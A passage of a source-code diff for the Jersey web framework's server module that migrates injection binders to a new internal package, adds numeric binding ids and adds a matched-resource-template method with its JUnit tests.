@@ -23,7 +23,7 @@
 import jakarta.inject.Provider;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.ForeignDescriptor;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.util.collection.Cache;
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/DelegatedInjectionValueParamProvider.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/DelegatedInjectionValueParamProvider.java
index 63466f0..cefa696 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/DelegatedInjectionValueParamProvider.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/DelegatedInjectionValueParamProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,8 +21,8 @@
 
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.ContextInjectionResolver;
 import org.glassfish.jersey.internal.inject.ForeignDescriptor;
 import org.glassfish.jersey.internal.inject.Injectee;
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ParamExtractorConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ParamExtractorConfigurator.java
index ef540e2..5584768 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ParamExtractorConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ParamExtractorConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Payara Foundation and/or its affiliates.
  *
  * This program and the accompanying materials are made available under the
@@ -19,9 +19,10 @@
 
 import jakarta.ws.rs.ext.ParamConverterProvider;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.ParamConverterFactory;
 import org.glassfish.jersey.internal.inject.Providers;
@@ -52,6 +53,7 @@
         serverBag.setMultivaluedParameterExtractorProvider(multiExtractor);
         injectionManager.register(
                 Bindings.service(multiExtractor)
-                        .to(MultivaluedParameterExtractorProvider.class));
+                        .to(MultivaluedParameterExtractorProvider.class)
+                        .id(InjectionIds.SERVER_MULTIVALUED_PARAMETER_EXTRACTOR_PROVIDER.id()));
     }
 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java
index 07337eb..8ff28dd 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -35,9 +35,10 @@
 
 import jakarta.inject.Provider;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.ContextInjectionResolver;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
@@ -116,17 +117,28 @@
         serverBag.setValueParamProviders(Collections.unmodifiableCollection(suppliers));
 
         // Needs to be in InjectionManager because of CdiComponentProvider
-        injectionManager.register(Bindings.service(asyncProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(cookieProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(formProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(headerProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(matrixProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(pathProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(queryProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(webTargetProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(beanProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(entityProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(contextProvider).to(ValueParamProvider.class));
+        injectionManager.register(Bindings.service(asyncProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_ASYNC_RESPONSE_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(cookieProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_COOKIE_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(formProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_FORM_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(headerProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_HEADER_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(matrixProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_MATRIX_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(pathProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_PATH_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(queryProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_QUERY_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(webTargetProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_WEB_TARGET_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(beanProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_BEAN_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(entityProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_ENTITY_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(contextProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_CONTEXT_VALUE_PARAM_PROVIDER.id()));
 
         // Provide request scoped ContainerRequest without the proxy.
         Provider<ContainerRequest> request = () -> {
@@ -134,20 +146,20 @@
             return reference.get().request();
         };
 
-        registerResolver(injectionManager, asyncProvider, Suspended.class, request);
-        registerResolver(injectionManager, cookieProvider, CookieParam.class, request);
-        registerResolver(injectionManager, formProvider, FormParam.class, request);
-        registerResolver(injectionManager, headerProvider, HeaderParam.class, request);
-        registerResolver(injectionManager, matrixProvider, MatrixParam.class, request);
-        registerResolver(injectionManager, pathProvider, PathParam.class, request);
-        registerResolver(injectionManager, queryProvider, QueryParam.class, request);
-        registerResolver(injectionManager, webTargetProvider, Uri.class, request);
-        registerResolver(injectionManager, beanProvider, BeanParam.class, request);
+        registerResolver(injectionManager, asyncProvider, Suspended.class, request, InjectionIds.SERVER_ASYNC_RESOLVER.id());
+        registerResolver(injectionManager, cookieProvider, CookieParam.class, request, InjectionIds.SERVER_COOKIE_RESOLVER.id());
+        registerResolver(injectionManager, formProvider, FormParam.class, request, InjectionIds.SERVER_FORM_RESOLVER.id());
+        registerResolver(injectionManager, headerProvider, HeaderParam.class, request, InjectionIds.SERVER_HEADER_RESOLVER.id());
+        registerResolver(injectionManager, matrixProvider, MatrixParam.class, request, InjectionIds.SERVER_MATRIX_RESOLVER.id());
+        registerResolver(injectionManager, pathProvider, PathParam.class, request, InjectionIds.SERVER_PATH_RESOLVER.id());
+        registerResolver(injectionManager, queryProvider, QueryParam.class, request, InjectionIds.SERVER_QUERY_RESOLVER.id());
+        registerResolver(injectionManager, webTargetProvider, Uri.class, request, InjectionIds.SERVER_WEB_TARGET_RESOLVER.id());
+        registerResolver(injectionManager, beanProvider, BeanParam.class, request, InjectionIds.SERVER_BEAN_RESOLVER.id());
     }
 
     private void registerResolver(InjectionManager im, ValueParamProvider vfp, Class<? extends Annotation> annotation,
-            Provider<ContainerRequest> request) {
-        im.register(Bindings.injectionResolver(new ParamInjectionResolver<>(vfp, annotation, request)));
+            Provider<ContainerRequest> request, long id) {
+        im.register(Bindings.injectionResolver(new ParamInjectionResolver<>(vfp, annotation, request)).id(id));
     }
 
     @Override
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringContainerListener.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringContainerListener.java
index 6444d5b..78e74e6 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringContainerListener.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringContainerListener.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.server.monitoring.ApplicationEvent;
 import org.glassfish.jersey.server.monitoring.ApplicationEventListener;
 import org.glassfish.jersey.server.spi.Container;
@@ -81,7 +81,7 @@
     /**
      * A binder that binds the {@link MonitoringContainerListener}.
      */
-    public static class Binder extends AbstractBinder {
+    public static class Binder extends InternalBinder {
         @Override
         protected void configure() {
             bindAsContract(MonitoringContainerListener.class)
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringFeature.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringFeature.java
index 365b24c..6609530 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringFeature.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,7 +27,7 @@
 import jakarta.inject.Provider;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
 import org.glassfish.jersey.internal.util.collection.Ref;
 import org.glassfish.jersey.server.ServerProperties;
@@ -104,7 +104,7 @@
 
         if (monitoringEnabled) {
             context.register(ApplicationInfoListener.class);
-            context.register(new AbstractBinder() {
+            context.register(new InternalBinder() {
                 @Override
                 protected void configure() {
                     bindFactory(ReferencingFactory.<ApplicationInfo>referenceFactory())
@@ -119,7 +119,7 @@
 
         if (statisticsEnabled) {
             context.register(MonitoringEventListener.class);
-            context.register(new AbstractBinder() {
+            context.register(new InternalBinder() {
                 @Override
                 protected void configure() {
                     bindFactory(ReferencingFactory.<MonitoringStatistics>referenceFactory())
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/process/RequestProcessingConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/process/RequestProcessingConfigurator.java
index 9194c47..3da1394 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/process/RequestProcessingConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/process/RequestProcessingConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,10 +28,10 @@
 
 import jakarta.inject.Inject;
 
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.PropertiesDelegate;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.process.internal.RequestScoped;
 import org.glassfish.jersey.server.AsyncContext;
@@ -118,30 +118,33 @@
      *
      * @author Marek Potociar
      */
-    private class ServerProcessingBinder extends AbstractBinder {
+    private class ServerProcessingBinder extends InternalBinder {
 
         @Override
         protected void configure() {
             bindAsContract(RequestProcessingContextReference.class)
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class).id(3101);
 
             // Bind non-proxiable ContainerRequest injection injection points
             bindFactory(ContainerRequestFactory.class)
                     .to(ContainerRequest.class).to(ContainerRequestContext.class)
                     .proxy(false)
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(3102);
 
             // Bind proxiable HttpHeaders, Request and ContainerRequestContext injection injection points
             bindFactory(ContainerRequestFactory.class)
                     .to(HttpHeaders.class).to(Request.class).to(PropertiesDelegate.class)
                     .proxy(true).proxyForSameScope(false)
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(3103);
 
             // Bind proxiable UriInfo, ExtendedUriInfo and ResourceInfo injection points
             bindFactory(UriRoutingContextFactory.class)
                     .to(UriInfo.class).to(ExtendedUriInfo.class).to(ResourceInfo.class)
                     .proxy(true).proxyForSameScope(false)
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(3104);
 
             // Bind proxiable SecurityContext injection point.
             // NOTE:
@@ -152,20 +155,23 @@
             bind(SecurityContextInjectee.class)
                     .to(SecurityContext.class)
                     .proxy(true).proxyForSameScope(false)
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(3105);
 
             // Bind proxiable CloseableService injection point.
             bindFactory(CloseableServiceFactory.class)
                     .to(CloseableService.class)
                     .proxy(true).proxyForSameScope(false)
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(3106);
 
             // Bind proxiable AsyncContext and AsyncResponse injection points.
             // TODO maybe we can get rid of these completely? Or at least for AsyncContext?
             bindFactory(AsyncContextFactory.class)
                     .to(AsyncContext.class)
                     .to(AsyncResponse.class)
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(3107);
         }
     }
 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/routing/UriRoutingContext.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/routing/UriRoutingContext.java
index d936c51..94bbaa1 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/routing/UriRoutingContext.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/routing/UriRoutingContext.java
@@ -28,6 +28,8 @@
 import java.util.regex.MatchResult;
 import java.util.stream.Collectors;
 
+import jakarta.ws.rs.ApplicationPath;
+import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.MultivaluedHashMap;
 import jakarta.ws.rs.core.MultivaluedMap;
 import jakarta.ws.rs.core.PathSegment;
@@ -39,6 +41,7 @@
 import org.glassfish.jersey.internal.util.collection.Values;
 import org.glassfish.jersey.message.internal.TracingLogger;
 import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.server.internal.ServerTraceEvent;
 import org.glassfish.jersey.server.internal.process.Endpoint;
 import org.glassfish.jersey.server.model.Resource;
@@ -249,6 +252,40 @@
         return getMatchedURIs(true);
     }
 
+//@Override
+    public String getMatchedResourceTemplate() {
+        final StringBuilder sb = new StringBuilder();
+        for (String template : getMatchedResourceTemplates()) {
+            sb.append(template.trim());
+        }
+        return sb.toString();
+    }
+
+//@Override
+    public List<String> getMatchedResourceTemplates() {
+        final List<String> list = new ArrayList<>();
+        if (ResourceConfig.class.isInstance(requestContext.getConfiguration())) {
+            Application app = ((ResourceConfig) requestContext.getConfiguration()).getApplication();
+            while (ResourceConfig.class.isInstance(app) && ((ResourceConfig) app).getApplication() != app) {
+                app = ((ResourceConfig) app).getApplication();
+            }
+            final ApplicationPath annotation = app.getClass().getAnnotation(ApplicationPath.class);
+            if (annotation != null) {
+                String value = annotation.value();
+                list.add(value.endsWith("/") ? value.substring(0, value.length() - 1) : value);
+            }
+        }
+
+        final Iterator<UriTemplate> templateIt = templates.descendingIterator();
+        while (templateIt.hasNext()) {
+            String template = templateIt.next().getTemplate().trim();
+            if (!template.equals("/") || list.isEmpty()) { // !subresourceLocator
+                list.add(template);
+            }
+        }
+        return list;
+    }
+
     private static final Function<String, String> PATH_DECODER = input -> UriComponent.decode(input, UriComponent.Type.PATH);
 
     @Override
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/model/ResourceMethodInvoker.java b/core-server/src/main/java/org/glassfish/jersey/server/model/ResourceMethodInvoker.java
index 7cf46ee..936b00c 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/model/ResourceMethodInvoker.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/model/ResourceMethodInvoker.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -47,7 +47,7 @@
 import jakarta.ws.rs.ext.ReaderInterceptor;
 import jakarta.ws.rs.ext.WriterInterceptor;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.internal.inject.Providers;
@@ -231,7 +231,7 @@
         final Set<Class<?>> providerClasses = componentBag.getClasses(ComponentBag.excludeMetaProviders(injectionManager));
         if (!providerClasses.isEmpty()) {
             injectionManager = Injections.createInjectionManager(injectionManager);
-            injectionManager.register(new AbstractBinder() {
+            injectionManager.register(new InternalBinder() {
                 @Override
                 protected void configure() {
                     bind(config).to(Configuration.class);
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/model/internal/SseTypeResolver.java b/core-server/src/main/java/org/glassfish/jersey/server/model/internal/SseTypeResolver.java
index f8b0ea0..5a29b78 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/model/internal/SseTypeResolver.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/model/internal/SseTypeResolver.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,6 +19,7 @@
 import java.util.Collections;
 import java.util.HashSet;
 import java.util.Set;
+import java.util.concurrent.Flow;
 
 import org.glassfish.jersey.internal.util.ReflectionHelper;
 
@@ -32,7 +33,7 @@
     static {
         Set<Class<?>> set = new HashSet<>(8);
 
-        set.add(org.glassfish.jersey.internal.jsr166.Flow.Subscriber.class);
+        set.add(Flow.Subscriber.class);
         set.add(jakarta.ws.rs.sse.SseEventSink.class);
         Class<?> clazz = AccessController
                 .doPrivileged(ReflectionHelper.classForNamePA("java.util.concurrent.Flow$Subscriber", null));
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/wadl/WadlFeature.java b/core-server/src/main/java/org/glassfish/jersey/server/wadl/WadlFeature.java
index 314d267..448ee3a 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/wadl/WadlFeature.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/wadl/WadlFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
 import org.glassfish.jersey.server.ServerProperties;
@@ -68,7 +68,7 @@
         }
 
         context.register(WadlModelProcessor.class);
-        context.register(new AbstractBinder() {
+        context.register(new InternalBinder() {
             @Override
             protected void configure() {
                 bind(WadlApplicationContextImpl.class).to(WadlApplicationContext.class).in(Singleton.class);
diff --git a/core-server/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization b/core-server/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
new file mode 100644
index 0000000..66f8ea4
--- /dev/null
+++ b/core-server/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
@@ -0,0 +1 @@
+org.glassfish.jersey.server.ServerBootstrapPreinitialization
\ No newline at end of file
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/GetMatchedResourceTemplateTest.java b/core-server/src/test/java/org/glassfish/jersey/server/GetMatchedResourceTemplateTest.java
new file mode 100644
index 0000000..8ba37ad
--- /dev/null
+++ b/core-server/src/test/java/org/glassfish/jersey/server/GetMatchedResourceTemplateTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.PUT;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriInfo;
+import org.glassfish.jersey.server.internal.routing.UriRoutingContext;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.util.concurrent.ExecutionException;
+
+public class GetMatchedResourceTemplateTest {
+
+    public static final String ONE_POST = "{name:[a-zA-Z][a-zA-Z_0-9]*}";
+    public static final String TWO_GET = "{Prefix}{p:/?}{id: ((\\d+)?)}/abc{p2:/?}{number: (([A-Za-z0-9]*)?)}";
+    public static final String TWO_POST = "{Prefix}{p:/?}{id: ((\\d+)?)}/abc/{yeah}";
+    public static final String THREE_SUB = "{x:[a-z]}";
+
+    public static class SubGet {
+        @PUT
+        public String get(@Context UriInfo uriInfo) {
+            return ((UriRoutingContext) uriInfo).getMatchedResourceTemplate();
+        }
+    }
+
+    @Path("one")
+    public static class ResourceOne {
+        @POST
+        @Path(ONE_POST)
+        public Response post(@Context UriInfo info) {
+            return Response.ok(((UriRoutingContext) info).getMatchedResourceTemplate()).build();
+        }
+    }
+
+    @Path("two")
+    public static class ResourceTwo {
+        @GET
+        @Path(TWO_GET)
+        public Response get(@Context UriInfo info) {
+            return Response.ok(((UriRoutingContext) info).getMatchedResourceTemplate()).build();
+        }
+
+        @POST
+        @Path(TWO_POST)
+        public Response post(@Context UriInfo info) {
+            return Response.ok(((UriRoutingContext) info).getMatchedResourceTemplate()).build();
+        }
+    }
+
+    @Path("three")
+    public static class ResourceThree {
+        @Path(THREE_SUB)
+        public SubGet doAnything4() {
+            return new SubGet();
+        }
+    }
+
+    @Path("four")
+    public static class ResourceFour {
+        @Path(THREE_SUB)
+        public ResourceOne postOne() {
+            return new ResourceOne();
+        }
+    }
+
+    @Test
+    public void testPOSTone() throws ExecutionException, InterruptedException {
+        ApplicationHandler applicationHandler = new ApplicationHandler(new ResourceConfig(ResourceOne.class));
+        Object entity = applicationHandler.apply(RequestContextBuilder.from("/one/azazaz00", HttpMethod.POST)
+                .build()).get().getEntity();
+        Assertions.assertEquals("/one/" + ONE_POST, entity);
+    }
+
+    @Test
+    public void testTWOget() throws ExecutionException, InterruptedException {
+        ApplicationHandler applicationHandler = new ApplicationHandler(new ResourceConfig(ResourceTwo.class));
+        Object entity = applicationHandler.apply(RequestContextBuilder.from("/two/P/abc/MyNumber", HttpMethod.GET)
+                .build()).get().getEntity();
+        Assertions.assertEquals("/two/" + TWO_GET, entity);
+    }
+
+    @Test
+    public void testTWOpost() throws ExecutionException, InterruptedException {
+        ApplicationHandler applicationHandler = new ApplicationHandler(new ResourceConfig(ResourceTwo.class));
+        Object entity = applicationHandler.apply(RequestContextBuilder.from("/two/P/abc/MyNumber", HttpMethod.POST)
+                .build()).get().getEntity();
+        Assertions.assertEquals("/two/" + TWO_POST, entity);
+    }
+
+    @Test
+    public void testPUTthree() throws ExecutionException, InterruptedException {
+        ApplicationHandler applicationHandler = new ApplicationHandler(new ResourceConfig(ResourceThree.class));
+        Object entity = applicationHandler.apply(RequestContextBuilder.from("/three/a", HttpMethod.PUT)
+                .build()).get().getEntity();
+        Assertions.assertEquals("/three/" + THREE_SUB, entity);
+    }
+
+    @Test
+    public void testPOSTfour() throws ExecutionException, InterruptedException {
+        ApplicationHandler applicationHandler = new ApplicationHandler(new ResourceConfig(ResourceFour.class));
+        Object entity = applicationHandler.apply(RequestContextBuilder.from("/four/a/azazaz00", HttpMethod.POST)
+                .build()).get().getEntity();
+        Assertions.assertEquals("/four/" + THREE_SUB + "/" + ONE_POST, entity);
+    }
+}
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/ResourceConfigTest.java b/core-server/src/test/java/org/glassfish/jersey/server/ResourceConfigTest.java
index ec88461..02bf27f 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/ResourceConfigTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/ResourceConfigTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,7 +27,7 @@
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.Context;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.util.Tokenizer;
 import org.glassfish.jersey.model.internal.ComponentBag;
 import org.glassfish.jersey.server.config.innerstatic.InnerStaticClass;
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/TestInjectionManagerFactory.java b/core-server/src/test/java/org/glassfish/jersey/server/TestInjectionManagerFactory.java
index 53501e6..7488146 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/TestInjectionManagerFactory.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/TestInjectionManagerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Payara Foundation and/or its affiliates.
  *
  * This program and the accompanying materials are made available under the
@@ -22,13 +22,13 @@
 
 import jakarta.ws.rs.RuntimeType;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.AutoDiscoverableConfigurator;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.ContextResolverFactory;
 import org.glassfish.jersey.internal.DynamicFeatureConfigurator;
 import org.glassfish.jersey.internal.ExceptionMapperFactory;
 import org.glassfish.jersey.internal.FeatureConfigurator;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/filter/ApplicationFilterTest.java b/core-server/src/test/java/org/glassfish/jersey/server/filter/ApplicationFilterTest.java
index d301bcf..0deceed 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/filter/ApplicationFilterTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/filter/ApplicationFilterTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -31,7 +31,7 @@
 
 import jakarta.annotation.Priority;
 
